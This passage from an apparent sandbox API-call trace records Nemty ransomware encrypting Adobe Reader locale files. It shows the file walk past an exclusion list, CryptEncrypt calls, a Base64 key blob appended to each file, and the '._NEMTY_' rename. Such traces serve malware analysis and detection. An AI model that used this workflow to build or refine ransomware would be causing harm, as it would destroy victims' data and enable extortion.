Size=0x20) returned 0x4f9ecb8 [0179.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.JPN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.154] Sleep (dwMilliseconds=0x5) [0179.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e6fd490, dwHighDateTime=0x1d561e8)) [0179.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e6fd490, dwHighDateTime=0x1d561e8)) [0179.164] GetLastError () returned 0x0 [0179.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.164] GetLastError () returned 0x0 [0179.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.164] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.164] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.165] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.165] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="uwdjkpn5djv9pzTl1XxYD5TFzodz6fD0qj/XXvELCdWusAEOlelJqHWnonNHrpcE\r\nES/AYwE/9h5S6j9VuQ98Hv0kqIQ3ha7xiF629UbnW/b/zbApbWXg2P0JT5TsFDCa\r\n+Hfxy6gaW9LXQNxzU0sdmKOssz7IPb94cVIRDlxQEA3l6MwKnVcbKn2TqcK/onxD\r\nhXVf9gMz1kQkLissGxQKTCcJIxHJ7oNubHaxkxzieWYk8lRuFz5a6TNHwoCZySnl\r\nDkUHM44xAIJmNIIilD0dOmzl+IIqtstQGvVhyhJlL9umbzYZqyW1p8x/jlJO47NT\r\nPgv/hGDjz644nIGy0uXlDg==\r\n", pcchString=0x653e5dc) returned 1 [0179.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\reflow.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\reflow.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.165] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4096) returned 1 [0179.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1000) returned 0x6352c48 [0179.165] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.165] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1000, lpOverlapped=0x0) returned 1 [0179.167] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.167] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1000, lpOverlapped=0x0) returned 1 [0179.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.167] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1000 [0179.167] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.167] CloseHandle (hObject=0x2e8) returned 1 [0179.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.168] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\reflow.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\reflow.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\reflow.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\reflow.jpn._nemty_kgobjgd_")) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.168] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.JPN", cAlternateFileName="SAVEAS~1.JPN")) returned 1 [0179.168] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2=".") returned 1 [0179.168] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="..") returned 1 [0179.168] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="...") returned 1 [0179.168] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="windows") returned -1 [0179.168] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.168] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="rsa") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="NTDETECT.COM") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="ntldr") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="MSDOS.SYS") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="IO.SYS") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="boot.ini") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="boot.ini") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="ntuser.dat") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="desktop.ini") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="CONFIG.SYS") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="RECYCLER") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="bootmgr") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="programdata") returned 1 [0179.169] lstrcmpiW (lpString1="SaveAsRTF.JPN", lpString2="appdata") returned 1 [0179.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.JPN", lpUsedDefaultChar=0x0) returned 13 [0179.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.JPN", lpUsedDefaultChar=0x0) returned 13 [0179.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.JPN", lpUsedDefaultChar=0x0) returned 13 [0179.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.169] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.JPN", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.JPN", lpUsedDefaultChar=0x0) returned 13 [0179.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.170] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.170] Sleep (dwMilliseconds=0x5) [0179.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e7235f0, dwHighDateTime=0x1d561e8)) [0179.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e7235f0, dwHighDateTime=0x1d561e8)) [0179.179] GetLastError () returned 0x0 [0179.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.179] GetLastError () returned 0x0 [0179.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.180] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.180] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.180] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.180] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="GiQPhzUR+IbIYAYjQakdWONXTqXY3IHUr7dASsktokPexRN2e+Ivp6+nTN4ineTO\r\nc1sN8GLXGfmUXesNu3WosmYkZcvDSpipxuxfI55RTbPPufA3cBsYPNCUAwyjvJES\r\nMkgtTVxP+GUGDQPgQmvKCAx5dJCg95g4+mgFLNc4RtIeWSynObSzVxu3sX7fLzuB\r\nXhIgbl7bEW/aVFPA1KQDvnS8U/s6CTGssOSFwQovEymB7OvsIjpSdrVGlbyKgLST\r\nwa3MOe/8dwMqqnQtv5xxBZJwUlhrYfQpbh2FUAdwT5kO+q3++jqQ6bXR4MnmxKjt\r\nwQOlkdH9W8GfPkrrcFIiNg==\r\n", pcchString=0x653e5dc) returned 1 [0179.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SaveAsRTF.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\saveasrtf.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.181] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=14336) returned 1 [0179.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3800) returned 0x6352c48 [0179.181] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.181] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3800, lpOverlapped=0x0) returned 1 [0179.184] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.184] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3800, lpOverlapped=0x0) returned 1 [0179.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.184] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=14336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3800 [0179.184] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.184] CloseHandle (hObject=0x2e8) returned 1 [0179.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.185] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SaveAsRTF.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\saveasrtf.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SaveAsRTF.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\saveasrtf.jpn._nemty_kgobjgd_")) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.185] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.JPN", cAlternateFileName="")) returned 1 [0179.185] lstrcmpiW (lpString1="Search.JPN", lpString2=".") returned 1 [0179.185] lstrcmpiW (lpString1="Search.JPN", lpString2="..") returned 1 [0179.185] lstrcmpiW (lpString1="Search.JPN", lpString2="...") returned 1 [0179.185] lstrcmpiW (lpString1="Search.JPN", lpString2="windows") returned -1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="rsa") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="NTDETECT.COM") returned 1 [0179.186] lstrcmpiW 